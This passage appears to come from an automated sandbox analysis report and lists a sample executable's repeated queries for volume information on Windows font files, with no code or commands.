Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
